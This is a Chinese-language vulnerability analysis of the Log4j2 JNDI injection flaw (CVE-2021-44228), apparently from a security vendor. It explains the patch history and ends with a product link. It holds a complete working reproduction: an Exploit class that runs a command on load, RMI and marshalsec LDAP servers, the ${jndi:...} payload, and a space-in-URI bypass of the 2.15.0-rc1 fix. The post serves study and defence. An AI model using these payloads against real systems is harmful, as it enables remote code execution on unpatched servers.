最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。极盾科技技术总监对该漏洞进行复现和分析其形成原理。在此分享。
以下涉及的代码,均在mac OS 10.14.5,JDK1.8.0_91环境下成功运行。
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。
因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
log4j-api-${版本号}.jar
,一个是具体实现log4j-core-${版本号}.jar
。Log4j只有一个jar包log4j-${版本号}.jar
。org.apache.logging.log4j
。Log4j的package名称前缀为org.apache.log4j
。Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。
下面是一个简单的Java Lookup例子和输出:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
public static void main(String[] args) {
ThreadContext.put("userId", "test");
LOGGER.error("userId: ${ctx:userId}");
}
}
10:21:19.618 [main] ERROR Log4j2RCEPoc - userId: test
从上面的例子可以看到,通过在日志字符串中加入"${ctx:userId}",Log4j2在输出日志时,会自动在Log4j2的ThreadContext
中查找并引用userId
变量。格式类似"${type:var}",即可以实现对变量var的引用。type可以是如下值:
ThreadContext
Map 中,然后在日志输出过程中,查找其中的值。${env:USER}
。${java:version}
。其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a}
,表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a
上的变量内容。
JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
例如使用数据库,需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI,可以将数据库相关的配置在一个支持JNDI服务的容器(通常Tomat等Web容器均支持)中统一完成,并暴露一个简洁的名称,该名称背后绑定着一个DataSource
对象。各个应用只需要通过该名称和JNDI接口,获取该名称背后的DataSource
对象。当然,现在SpringBoot单体发布模式,极少会使用这种方式了。
再举个更简单的例子,这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂,便于普通用户使用,背后真正对应的是一个复杂难记的IP,甚至还可能是多个IP。DNS即JNDI服务,域名即可用于绑定和查找的名称,IP即该名称绑定的真正对象。用现代可以类比的技术来说,JNDI就是一个对象注册中心。
JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。下图是官方对JNDI介绍的架构图:
下面是一个简单的例子:
public interface Hello extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
@Override
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
context.bind("java:hello", new HelloImpl());
context.close();
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup("java:hello");
System.out.println(rmiObject.sayHello("world"));
context.close();
}
}
先运行HelloServer
,再运行HelloClient
,即可看到运行输出的结果:sayHello
。
HelloServer
将HelloImpl
对象绑定到java:hello
名称上。HelloClient
使用java:hello
名称,即可获取HelloImpl
对象。
由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。
“class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。
本篇文章主要分析Log4j2的JNDI注入产生原因,并不会对JNDI注入自身太过关注,网上也有大量分析的文章可供参考,这里就不再详述了。
以下复现使用Log4j2-2.14.1版本,maven的引用依赖参考如下:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
public class Exploit {
static {
String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final Process process;
try {
process = Runtime.getRuntime().exec(cmd);
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
python3 -m http.server 8081
,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081
命令的工作目录)。import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
registry.bind("exp", exploitWrapper);
}
}
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2RCEPoc {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
public static void main(String[] args) {
LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
}
}
由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:
整个调用堆栈较深,这里把几个关键点提取整理如下:
LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${
子串时,调用StrSubstitutor进行进一步解析。
StrSubstitutor将${
和}
之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。
Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap
中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap
获得Lookup功能实现类,并调用实现类的lookup()
方法。
例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp
解析后得到jndi
的Lookup功能实现类为JndiLookup
,并调用JndiLookup.lookup()
方法。
JndiLookup.lookup()
方法调用JndiManager.lookup()
方法,获取JNDI对象后,调用该对象上的toString()
方法,最终返回该字符串。
JndiManager.lookup()
较为简单,直接委托给InitialContext.lookup()
方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。
至此,后续即可以按照常规的JNDI注入路径进行分析。
通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)
的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些测试代码和辅助代码,该commit最主要内容是在3.5
章节中提到的 JndiManager.lookup()
方法增加了几种限制,分别是allowedHosts
、allowedClasses
、allowedProtocols
。
各个限制的内容分别如下:
可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java
、ldap
、ldaps
,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。
4.2.1 rc1中存在的问题
在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()
方法的整体逻辑结构:
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
......
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
......
return null;
}
......
if (!allowedClasses.contains(className)) {
......
return null;
}
......
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
从上面的代码结构中可以总结如下的逻辑:
name
参数进行4.1
章节提到的各类检查。如果检查不通过,则直接返回null
。URISyntaxException
,则对该异常忽略,继续执行this.context.lookup(name)
。URISyntaxException
,则执行this.context.lookup(name)
。我们重点关注catch
代码块,rc1默认不对URISyntaxException
异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)
。
再看下try
代码块中可能产生URISyntaxException
的地方。很不幸,try
代码块的第一个语句即可能产生该异常:URI uri = new URI(name);
。
试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);
语句解析URI异常,抛出URISyntaxException
,但又能被this.context.lookup(name)
正确处理,不就可以绕过了吗?
由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:
到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests
。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。
由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg
中添加{lookup}
进行开启。在当前类路径下添加log4j2.xml,内容参考如下:
<Configuration>
<Appenders>
<Console name="CONSOLE">
<PatternLayout>
<pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="DEBUG">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
二、漏洞利用
章节中一致,编译生成Exploit.class。python3 -m http.server 8081
,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081
命令的工作目录)。java
、ldap
、ldaps
这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec
这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888
,启动LDAP服务。import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2RC1Bypass {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
}
}
可以看到,通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/
和exp
之间),rc1被绕过了。
通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception
的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
该commit主要内容是对rc1中JndiManager.lookup()
方法里的catch
代码块进行了修改:当URISyntaxException
异常被捕获时,直接返回null
。从而无法使用上一章节的异形URI地址绕过。
本次漏洞就其原理来说,并不复杂,甚至有些简单。rc1中采用较为严格的白名单限制,就应急处理方法上来看,无可厚非。但从历史上发生的各类漏洞修补过程中来看,必定会有各种地方遗漏导致后续不停地打补丁。从软件开发角度讲,与其在上线后不停修复打补丁,不如在开发早期,即设计阶段或者开发阶段,尽量避免这类既有可能产生安全风险的设计。在最新版本的2.16.0,Log4j2团队干脆默认禁用掉了JNDI Lookup功能。
另外,rc1中catch
代码对异常的处理方式,在日常开发过程中也是容易犯的问题。安全中有一个原则,叫做“Fail Safely”,意为安全地处理错误。安全地处理错误是安全编程的一个重要方面。在程序设计时,要确保安全控制模块在发生异常时遵循了禁止操作的处理逻辑。例如:一个判断用户验证是否通过的代码,默认应该设定用户验证不通过,仅仅在用户验证通过时才设置为验证通过。这样即使在验证过程中发生了异常,并且该异常无意间被捕获时,任然能确保用户验证不通过。
因为Log4j2框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但极其大量的其它框架、中间件导致升级工作极为困难,甚至在几年内都无法达到一个可接受的水平。目前,绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。
“临时补丁”意味着无法根除,而底层依赖的升级又极为耗时,那么,如何更好地发现并规避在此期间产生的风险呢?
https://www.jidun.cn/product/xice